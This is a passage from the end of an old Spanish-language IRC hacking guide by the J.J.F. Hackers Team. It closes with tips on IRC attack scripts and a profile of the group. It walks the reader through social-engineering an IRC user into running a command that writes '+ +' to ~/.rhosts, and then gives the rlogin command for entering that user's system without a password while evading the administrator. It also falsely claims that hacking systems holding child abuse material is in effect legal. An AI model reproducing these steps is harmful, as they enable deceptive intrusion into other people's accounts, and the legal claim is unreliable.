  3235.   Lo mas seguro es que se preste a ayudarnos y nos diga cual es el
  3236.   comando en cuestion , y le decimos que lo escriba .
  3237.  
  3238.   -> Comando que debe escribir la victima .
  3239.  
  3240.   .  /EXEC echo "+ +" > ~/.rhosts
  3241.   
  3242.   Cuando la victima haya escrito esto , seguramente nos dira que a el
  3243.   tampoco le hace nada :) entonces nos despedimos y le damos las gracias
  3244.   por su ayuda .
  3245.   Dejamos el irc y nos dirigimos al prompt en unix y ejecutamos el
  3246.   comando rlogin con el sistema de la victima .
  3247.  
  3248.   -> Comando que hay que poner para acceder .
  3249.  
  3250.   .  rlogin victima.com -l nuestro_nick 
  3251.  
  3252.   Entonces accederemos al sistema de la victima sin password y nada :))
  3253.   y con permisos de lectura y escritura , entonces solo nos queda movernos
  3254.   por el sistema aunque procurar no llamar la atencion ni hacer cosas raras
  3255.   o el admin os podia pillar :(
  3256.  
  3257. ──────────────────────────────────────────────────────────────────────────────  
  3258.  
  3259.   14 - Utilizacion de scripts .
  3260.  
  3261.   Los scripts , esas pequeñas grandes utilidades que nos ayudan en nuestros
  3262.   propositos :)
  3263.   Bueno que decir de ellos , ya casi todo el mundo usa uno aunque los hay
  3264.   de muchas variantes , del mas inocente hasta el mas perverso capaz de
  3265.   hacer maravillas , je je je
  3266.   Como hay tantos disponibles no me quiero enfocar en la utilizacion de
  3267.   uno en concreto , aunque la mayoria suelen ser muy parecidos , como
  3268.   por ejemplo : bannear , kick , mass-de-op , fserve y muchas mas opciones .
  3269.   Por lo que mejor sere que de unos consejos por si no sabes cual utilizar .
  3270.  
  3271.   -> Consejos en la utilizacion de scripts .
  3272.  
  3273.   . Procura siempre tener varios a mano o en tu HD ( disco duro :)
  3274.   . Los que mas ocupan por regla general suelen ser bastante buenos .
  3275.   . Procura siempre tener la ultima version .
  3276.   . Para empezar y conocerlo haz pruebas en el IRC con algun amigo ,
  3277.     luego ya podras ajustar cuentas cuando sepas como funciona .
  3278.   . La RED esta lleno de estas utilidades , nuevete un poco y tu
  3279.     esfuerzo se vera recompensado .
  3280.   . Procura que sea bastante completo en opciones , consutalo con
  3281.     un colega sobre sus script y las opciones que tiene el .
  3282.   . Hay script en español muy buenos , por si el ingles te falla ;-)
  3283.  
  3284.  
  3285. ──────────────────────────────────────────────────────────────────────────────  
  3286.  
  3287.   15 - Informacion general .
  3288.  
  3289.   Pues lamento decirte que la guia ha llegado a su fin , espero que este
  3290.   esfuerzo haya servido de algo y la informacion aqui contenida te haya
  3291.   servido para algo .
  3292.   Pero espero que no uses esta guia solo para joder el projimo , ya que
  3293.   eso va encontra de la etica hacker .
  3294.   Por el momento no se preeve una nueva vesion de la guia , pero nunca
  3295.   se sabe , si aparece algo realmente interesante vere que se puede hacer .
  3296.  
  3297.  
  3298.   Desde aqui quiero agradecer a todos aquellos que han aportado su grano
  3299.   de arena sobre el HACKING en el IRC , revelando su informacion a la
  3300.   masa que desea conocer esto del hack y tambien a todos eso programadores
  3301.   que estan trabajando continuamente para sacar mejores progranas y script :)
  3302.                           A TODOS ELLOS UN SALUDO
  3303.   
  3304. ──────────────────────────────────────────────────────────────────────────────
  3305.  
  3306.   16 - -J.J.F. / HACKERS TEAM - .
  3307.   
  3308.   Que puedo decir de -JJF- , es un grupo de hackers de varias nacionalidades
  3309.   que se dedican eso , al HACKING , ya que creemos que la informacion
  3310.   desea ser libre y eso hacemos , pero jamas con malos fines o destruyendo
  3311.   sistemas ya que va encontra de la politica del grupo a no ser que sean
  3312.   sistemas con pornografia infatil , la cual aborrecemos y ajustamos las
  3313.   cuentas :) , ademas sabias que en cierto modo el legal hackear ordenadores
  3314.   con pornografia infantil ya que tambien es ilegal y no podras ser
  3315.   perseguido ya que seguro que ellos no se lo diran a las autoridades :))))
  3316.   Yo soy el CONDE VAMPIRO , uno de sus primeros mienbros y lo mio es el
  3317.   hack y los virus , aunque lo que mas me gusta es la seguridad informatica .
  3318.   Si quieres ponerte encontacto conmigo para cualquier cosa abajo encontraras
  3319.   mi e-mail , pero no es el del grupo , lo siento pero es privado , y si me
  3320.   escribres para decirme chorradas olvidame :)
  3321.  
  3322.   Que conste que nosotros solo nos hemos dedicado a la recopilacion de la
  3323.   informacion y aportando lo que creiamos que faltaba para que sea algo
  3324.   tecnico y realmente util .
  3325.  
  3326.   -> Mi e-mail .
  3327.  
  3328.   conde_vampiro@hotmail.com
  3329.  
  3330.  
  3331.               - No manches la RED con pornografia infantil -
  3332.  
  3333.  
  3334.                                                         CONDE VAMPIRO
  3335.                                                   - J.J.F. / HACKERS TEAM - 
  3336.  
  3337.